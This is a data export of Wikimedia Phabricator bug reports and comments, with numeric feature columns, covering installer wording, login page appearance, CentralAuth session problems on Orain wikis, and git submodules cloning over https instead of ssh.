256160,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","If you would like to create a patch to fix the problem, please read https://www.mediawiki.org/wiki/Developer_access and https://www.mediawiki.org/wiki/Gerrit/Tutorial",,,1382982883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,True,,,-88,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,6.0,6.0,11.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8888888888888888,"If you would like to create a patch to fix the problem, please read URL and URL"
256151,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #2)
> (In reply to comment #0)
> > Created attachment 13598 [details]
> > User signup during wikimedia installation -> Field is 'Real Name'
> 
> Field is ""Your name"" in that screenshot, not ""real name"". 
> Or do I miss something?
> 
> The proposal in this report is basically to change ""Your name"" to ""Your
> username""?

Oh! missed it, anyway doesn't make much difference. Its ""Your name"" to ""Your username"" itself.

**Attached**: {F11933}",,,1382974472,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,3.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,2.0,2.0,0.0,8.0,5.0,13.0,0.0,7.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.9344262295081966,0.5737704918032787,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Oh! missed it, anyway doesn't make much difference. Its ""Your name"" to ""Your username"" itself.

**Attached**: {F11933}"
256144,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #0)
> Created attachment 13598 [details]
> User signup during wikimedia installation -> Field is 'Real Name'

Field is ""Your name"" in that screenshot, not ""real name"". 
Or do I miss something?

The proposal in this report is basically to change ""Your name"" to ""Your username""?

**Attached**: {F11933}",,,1382973250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,True,,,-88,True,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,18.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,6.0,9.0,5.0,3.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9696969696969697,0.6363636363636364,"(In reply to comment #0)
QUOTE
QUOTE

Field is ""Your name"" in that screenshot, not ""real name"". 
Or do I miss something?

The proposal in this report is basically to change ""Your name"" to ""Your username""?

**Attached**: {F11933}"
256139,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13599
During login, the field says 'username' which in effect is 'Real Name'

The username is equivallent to the Real Name field in user registeration, which is confusing to the user.

**Attached**: {F11934}",,,1382960276,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c3,1,False,,,-88,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,17.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,8.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,3.75,0.6153846153846154,"Created attachment 13599
During login, the field says 'username' which in effect is 'Real Name'

The username is equivallent to the Real Name field in user registeration, which is confusing to the user.

**Attached**: {F11934}"
58023,Accessing Special:UserLogin while logged in should have different appearance,"On https://en.m.wikipedia.org/wiki/Special:UserLogin and https://en.wikipedia.org/wiki/Special:UserLogin

When a user is logged in we should add a greeting above the login fields that says 

""Hello, $username!"" to show the user they are already logged in.

The [Sign in] in button should say [Switch Account] and create account should say ""log out""

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1382483340,1386626810.0,PHID-USER-z3kqk2bjnqneldcznht6,True,,False,PHID-TASK-grze4l57o4qcistsnasi,task_description,resolved,True,c3,1,False,False,True,-89,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,10.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,14.0,1.0,2.0,6.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,2.0,10.0,4.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.5185185185185186,0.6419753086419753,"On URL and URL

When a user is logged in we should add a greeting above the login fields that says 

""Hello, $username!"" to show the user they are already logged in.

The [Sign in] in button should say [Switch Account] and create account should say ""log out""

--------------------------
**Version**: unspecified
**Severity**: normal"
267602,Accessing Special:UserLogin while logged in should have different appearance,"

*** This bug has been marked as a duplicate of bug 56359 ***",,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 56359 ***"
267595,Accessing Special:UserLogin while logged in should have different appearance,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1490",,,1386625833,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,False,,,-82,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
267587,Accessing Special:UserLogin while logged in should have different appearance,"(In reply to comment #1)
> For core: Since the fix for bug 53306 a message exists, which say: ""You are
> already logged in as ***. Use the form below to log in as another user.""

So is this a bug about MobileFrontend? This looks fixed in core (or at least what en.wiki is using).

(In reply to comment #0)
> create account should
> say ""log out""

Surely not, it's not what it does. ""Create another account"", the current label, is correct.",,,1386625379,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,True,,,-82,True,0.0,0.0,0.0,0.0,3.0,4.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,15.0,0.0,1.0,7.0,0.0,0.0,0.0,3.0,4.0,0.0,3.0,0.0,3.0,10.0,3.0,1.0,3.0,0.0,3.0,0.0,3.0,1.0,0.0,1.0,0.0,1.0,0.0,3.136986301369863,0.6301369863013698,"(In reply to comment #1)
QUOTE
QUOTE

So is this a bug about MobileFrontend? This looks fixed in core (or at least what en.wiki is using).

(In reply to comment #0)
QUOTE
QUOTE

Surely not, it's not what it does. ""Create another account"", the current label, is correct."
267580,Accessing Special:UserLogin while logged in should have different appearance,"For core: Since the fix for bug 53306 a message exists, which say: ""You are already logged in as ***. Use the form below to log in as another user.""",,,1384640418,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c3,1,True,,,-85,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,10.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,18.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.051282051282051,0.7948717948717948,"For core: Since the fix for bug 53306 a message exists, which say: ""You are already logged in as ***. Use the form below to log in as another user."""
57978,Sessions don't work on non-loginwiki domains,"**Author:** `kudu`

**Description:**
Log showing incorrect behavior for a non-*.orain.org wiki

Demo:
1. Log in on any wiki on orain.org (e.g. meta.orain.org).
2. Go to any page on a non-orain.org wiki (e.g. wikiconstituciocatalana.cat).

I attached two logs, one showing normal behavior for an *.orain.org wiki and another showing incorrect behavior for a non-orain.org wiki.

Here is the original GitHub issue: https://github.com/Orain/ansible-playbook/issues/61
Here is our configuration (WIP): https://github.com/Orain/ansible-playbook/blob/master/roles/mediawiki/files/LocalSettings.php.j2
We're running CentralAuth 1.22wmf22 (3756064).

--------------------------
**Version**: master
**Severity**: major

**Attached**: {F12201}",Medium,50.0,1382392320,1382563800.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_description,invalid,True,c3,1,False,False,True,-89,True,1.0,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.0,0.0,1.5,0.5,0.0,0.0,0.0,2.0,0.0,2.5,4.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,13.0,0.0,0.5,4.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,0.0,2.0,4.0,6.5,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,2.0,3.860294117647059,0.6176470588235294,"**Author:** CODE

**Description:**
Log showing incorrect behavior for a non-*.orain.org wiki

Demo:
1. Log in on any wiki on orain.org (e.g. meta.orain.org).
2. Go to any page on a non-orain.org wiki (e.g. wikiconstituciocatalana.cat).

I attached two logs, one showing normal behavior for an *.orain.org wiki and another showing incorrect behavior for a non-orain.org wiki.

Here is the original GitHub issue: URL
Here is our configuration (WIP): URL
We're running CentralAuth 1.22wmf22 (3756064).

--------------------------
**Version**: master
**Severity**: major

**Attached**: {F12201}"
264895,Sessions don't work on non-loginwiki domains,"So after a fair amount of detective work..
A CA token needs to be set for each domain on login (as with the wikimedia sites.)

Hence this fixed our problems https://github.com/Orain/ansible-playbook/commit/9e6336b059f42560e28104b6e04108007a3f86a5
(later altered to be a more dynamic fix for the future)

Previous to this a login on espiral would create a CA token for the orain.org domain.
espiral could not use this so it would then attempt to get a new CA token and session for espiral which it would do again, but again the CA token would remain under the orain.org domain not espiral.",,,1382563800,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c3,1,True,,,-89,True,0.5,0.0,0.0,0.5,2.0,7.5,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,10.5,0.0,2.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.0,3.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,5.5,1.0,2.0,11.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,2.5,10.5,3.0,0.0,0.0,0.0,2.5,0.0,1.0,4.0,0.0,0.0,0.5,0.0,2.0,3.7454545454545456,0.7090909090909091,"So after a fair amount of detective work..
A CA token needs to be set for each domain on login (as with the wikimedia sites.)

Hence this fixed our problems URL
(later altered to be a more dynamic fix for the future)

Previous to this a login on espiral would create a CA token for the orain.org domain.
espiral could not use this so it would then attempt to get a new CA token and session for espiral which it would do again, but again the CA token would remain under the orain.org domain not espiral."
264889,Sessions don't work on non-loginwiki domains,"http://espiral.org is also hosted in Orain. I have asked several users to login, and the feedback is the same: they can login (even after resetting password etc) but they end up being pushed back as anonymous users again. The session won't stick.

What is weird is that I'm visiting and editing espiral.org as an identified user regularly. My session does stick, even after reboots or changing from a laptop to another.

But then I have the same problems than the rest when logging to http://wikiconstituciocatalana.cat - which is double weird.

fwiw I'm admin in both wikis. One difference is that I was already a user at espiral.org before it got imported to Orain, while Wikiconstitució was created from scratch as an Orain wiki. However, other Spiral users registered before the move are also finding login problems...",,,1382461178,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c3,1,True,,,-89,True,0.5,0.0,0.0,1.5,0.5,6.5,3.5,0.0,0.0,0.0,3.5,1.5,0.0,0.0,0.0,3.5,0.0,6.5,12.0,0.0,0.5,0.0,0.5,0.0,2.0,0.5,0.0,0.0,0.5,0.0,0.0,7.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.5,1.0,0.0,0.5,0.0,0.0,0.0,11.0,0.0,1.0,1.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,6.0,5.5,10.5,2.5,2.5,7.5,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,5.0,12.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,2.5,0.0,3.5,0.0,0.0,1.5,4.075949367088608,0.7784810126582278,"URL is also hosted in Orain. I have asked several users to login, and the feedback is the same: they can login (even after resetting password etc) but they end up being pushed back as anonymous users again. The session won't stick.

What is weird is that I'm visiting and editing espiral.org as an identified user regularly. My session does stick, even after reboots or changing from a laptop to another.

But then I have the same problems than the rest when logging to URL - which is double weird.

fwiw I'm admin in both wikis. One difference is that I was already a user at espiral.org before it got imported to Orain, while Wikiconstitució was created from scratch as an Orain wiki. However, other Spiral users registered before the move are also finding login problems..."
264884,Sessions don't work on non-loginwiki domains,"**kudu** wrote:

Log showing expected behavior on an *.orain.org wiki

**Attached**: {F12203}",,,1382392452,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-dgjqstpb5ozhxe7ypkp7,task_subcomment,,True,c3,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.6296296296296297,"**kudu** wrote:

Log showing expected behavior on an *.orain.org wiki

**Attached**: {F12203}"
57654,Recursive clone over ssh uses https for submodules,"```lang=bash
<~/pywikibot>git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git
Cloning into 'core'...
Warning: Permanently added the RSA host key for IP address '[208.80.154.81]:29418' to the list of known hosts.
Enter passphrase for key 'key':
remote: Counting objects: 10842, done
remote: Finding sources: 100% (10842/10842)
remote: Getting sizes: 100% (1495/1495)
remote: Compressing objects: 100% (2292733/2292733)
remote: Total 10842 (delta 7190), reused 10548 (delta 7165)
Receiving objects: 100% (10842/10842), 23.42 MiB | 326 KiB/s, done.
Resolving deltas: 100% (7337/7337), done.
Submodule 'externals/httplib2' (https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git) registered for path 'externals/httplib2'
Submodule 'i18n' (https://gerrit.wikimedia.org/r/p/pywikibot/i18n.git) registered for path 'scripts/i18n'
Cloning into 'externals/httplib2'...
error: SSL certificate problem: self signed certificate in certificate chain while accessing https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git/info/refs?service=git-upload-pack
fatal: HTTP request failed
Clone of 'https://gerrit.wikimedia.org/r/p/pywikibot/externals/httplib2.git' into submodule path 'externals/httplib2' failed
```
I'm cloning over ssh. Why are the submodules being loaded over https?

--------------------------
**Version**: core-(2.0)
**Severity**: normal",Medium,50.0,1381579260,1596795972.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_description,declined,True,c3,1,True,False,False,-90,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,12.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,3.45,0.65,"``CODE``
I'm cloning over ssh. Why are the submodules being loaded over https?

--------------------------
**Version**: core-(2.0)
**Severity**: normal"
1506759,Recursive clone over ssh uses https for submodules,"Nothing stalled in this task as questoin has been answered, hence setting status to open",,,1589885026,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,254,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.625,1.0,"Nothing stalled in this task as questoin has been answered, hence setting status to open"
1068377,Recursive clone over ssh uses https for submodules,"The solution is doing relative submodule paths (eg: `../foo`). Otherwise, of course, it will load the submodule from the protocol specific (git doesn't know better...this isn't a Gerrit issue really).

(nb: git:// is a non-option. It won't do what you're hoping here, and we don't have it enabled anyway)

Tbh though, HTTPS > SSH anyway :)",,,1526375438,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,0.0,0.0,0.0,0.0,5.0,5.0,2.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,2.0,5.0,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,2.0,3.4390243902439024,0.7317073170731707,"The solution is doing relative submodule paths (eg: CODE). Otherwise, of course, it will load the submodule from the protocol specific (git doesn't know better...this isn't a Gerrit issue really).

(nb: git:// is a non-option. It won't do what you're hoping here, and we don't have it enabled anyway)

Tbh though, HTTPS > SSH anyway :)"
1066744,Recursive clone over ssh uses https for submodules,"That is expected as you carnt use ssh in there since only you would be able to clone it.

",,,1526031973,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,19.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,14.0,19.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,0.9523809523809523,"That is expected as you carnt use ssh in there since only you would be able to clone it.

"
1066702,Recursive clone over ssh uses https for submodules,"I cloned Pywikibot using $ git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git pywikibot 

:~/pywikibot$ cat .gitmodules 
[submodule ""i18n""]
	path = scripts/i18n
	url = https://gerrit.wikimedia.org/r/pywikibot/i18n
	branch = master
	ignore = all

So yes, still an issue",,,1526027634,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,4.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,4.9787234042553195,0.8085106382978723,"I cloned Pywikibot using $ git clone --recursive ssh://multichill@gerrit.wikimedia.org:29418/pywikibot/core.git pywikibot 

:~/pywikibot$ cat .gitmodules 
[submodule ""i18n""]
	path = scripts/i18n
	url = URL
	branch = master
	ignore = all

So yes, still an issue"
1066672,Recursive clone over ssh uses https for submodules,"Is this still valid with pwb3? I haven't this problem:


```lang=batch
git.exe clone --progress --recursive -v ""ssh://xqt@gerrit.wikimedia.org:29418/pywikibot/core"" ""C:\pwb\git\core-test""

Cloning into 'C:\pwb\git\core-test'...
remote: Counting objects: 870, done
remote: Finding sources: 100% (96/96)
Receiving objects: 100% (46206/46206), 27.12 MiB | 237.00 KiB/s, done.
Resolving deltas: 100% (35848/35848), done.
remote: Getting sizes: 100% (51/51)
remote: Compressing objects: 100% (463858/463858)
remote: Total 46206 (delta 46), reused 46153 (delta 19)
Checking connectivity... done.
Submodule 'i18n' (https://gerrit.wikimedia.org/r/pywikibot/i18n) registered for path 'scripts/i18n'
Cloning into 'scripts/i18n'...
Submodule path 'scripts/i18n': checked out '5a4de72f67c4f13f290be2484b16c5e3f9a31c49'

Success (216061 ms @ 11.05.2018 07:48:45)
```",,,1526018161,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-ij7ysfkfo5y4ylyxxycw,task_subcomment,,True,c3,3,True,,,149,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9473684210526314,0.7894736842105263,"Is this still valid with pwb3? I haven't this problem:


``CODE``"
500711,Recursive clone over ssh uses https for submodules,">>! In T57654#1343308, @jayvdb wrote:
> After doing a bit more reading, I am pretty confident that [[https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/| git subtree]] will solve this.  Now need to check what happens when switching from submodules to subtrees does to svn checkouts.

